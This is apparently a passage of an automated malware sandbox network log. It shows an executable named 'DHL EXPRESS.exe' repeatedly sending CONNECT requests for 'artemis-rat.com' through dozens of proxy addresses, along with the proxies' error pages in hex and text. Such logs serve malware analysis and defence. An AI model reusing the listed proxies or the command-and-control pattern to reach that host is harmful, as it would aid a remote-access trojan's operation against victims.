0a 3c 68 31 3e 45 52 52 4f 52 3c 2f 68 31 3e 0a 3c 68 32 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 72 65 74 72 69 65 76 65 20 74 68 65 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 65 72 72 6f 72 3a 6d 65 74 68 6f 64 2d 6e 6f 74 2d 61 6c 6c 6f 77 65 64 22 3e 65 72 72 6f 72 3a 6d 65 74 68 6f 64 2d 6e 6f 74 2d 61 6c 6c 6f 77 65 64 3c 2f 61 3e 3c 2f 70 3e 0a 0a 3c 62 6c 6f 63 6b 71 75 6f 74 65 20 69 64 3d 22 65 72 72 6f 72 22 3e 0a 3c 70 3e 3c 62 3e 55 6e 73 75 70 70 6f 72 74 65 64 20 52 65 71 75 65 73 74 20 4d 65 74 68 6f 64 20 61 6e 64 20 50 72 6f 74 6f 63 6f 6c 3c 2f 62 3e 3c 2f 70 3e 0a 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 0a 0a 3c 70 3e 53 71 75 69 64 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 61 6c 6c 20 72 65 71 75 65 73 74 20 6d 65 74 68 6f 64 73 20 66 6f 72 20 61 6c 6c 20 61 63 63 65 73 73 20 70 72 6f 74 6f 63 6f 6c 73 2e 20 46 6f 72 20 65 78 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id=ERR_UNSUP_REQ><div id="titles"><h1>ERROR</h1><h2>The requested URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="error:method-not-allowed">error:method-not-allowed</a></p><blockquote id="error"><p><b>Unsupported Request Method and Protocol</b></p></blockquote><p>Squid does not support all request methods for all access protocols. For exa
Mar 11, 2024 18:36:50.570055008 CET	577	IN	Data Raw: 6d 70 6c 65 2c 20 79 6f 75 20 63 61 6e 20 6e 6f 74 20 50 4f 53 54 20 61 20 47 6f 70 68 65 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 70 3e 59 6f 75 72 20 63 61 63 68 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 69 73 20 3c 61 20 68 72 Data Ascii: mple, you can not POST a Gopher request.</p><p>Your cache administrator is <a href="mailto:support@dnsadvantage.com?subject=CacheErrorInfo%20-%20ERR_UNSUP_REQ&body=CacheHost%3A%20.%0D%0AErrPage%3A%20ERR_UNSUP_REQ%0D%0AErr%3A%20%5Bnone%5D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1209	192.168.2.8	53495	170.84.205.17	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.409426928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1210	192.168.2.8	53537	49.13.131.163	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.415029049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.724642992 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1211	192.168.2.8	53544	114.156.77.107	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.415622950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1212	192.168.2.8	53510	13.229.47.109	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.421678066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.751041889 CET	222	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 17:34:18 GMT Content-Type: text/plain; charset=utf-8 Connection: close Content-Length: 12 X-Kong-Response-Latency: 3.814697265625e-05 Server: kong/2.8.1 Data Raw: 42 61 64 20 72 65 71 75 65 73 74 0a Data Ascii: Bad request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1213	192.168.2.8	53521	203.89.8.107	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.440207958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.269083023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.456629992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.795921087 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1214	192.168.2.8	53516	208.102.51.6	58208	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.440211058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1215	192.168.2.8	53514	139.59.99.83	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.442101002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.789083004 CET	891	IN	HTTP/1.1 400 Bad Request content-type: text/html cache-control: private, no-cache, max-age=0 pragma: no-cache content-length: 679 date: Mon, 11 Mar 2024 17:36:50 GMT server: LiteSpeed connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1216	192.168.2.8	51690	69.61.200.104	36181	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.448067904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1217	192.168.2.8	53662	142.54.228.193	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.457889080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1218	192.168.2.8	53533	45.235.16.121	27234	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.458354950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.278609037 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1219	192.168.2.8	53568	147.75.92.251	10089	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.474765062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.750948906 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1220	192.168.2.8	53581	13.37.89.201	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.507045984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.804251909 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:50 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1221	192.168.2.8	53586	158.255.215.50	11857	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.507597923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.805114031 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1222	192.168.2.8	53598	51.15.210.79	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.512300968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1223	192.168.2.8	53704	185.162.229.112	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.523483992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.678174019 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1224	192.168.2.8	53706	1.0.0.4	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.524077892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.678271055 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1225	192.168.2.8	53551	62.176.12.111	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.530363083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.269082069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.456682920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.566102028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.769125938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.956650019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.066054106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:15.284523964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:31.690709114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1226	192.168.2.8	53543	45.11.95.165	5213	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.530745983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1227	192.168.2.8	53720	104.17.215.222	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.531281948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.685621023 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1228	192.168.2.8	51718	200.115.157.211	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.531363010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

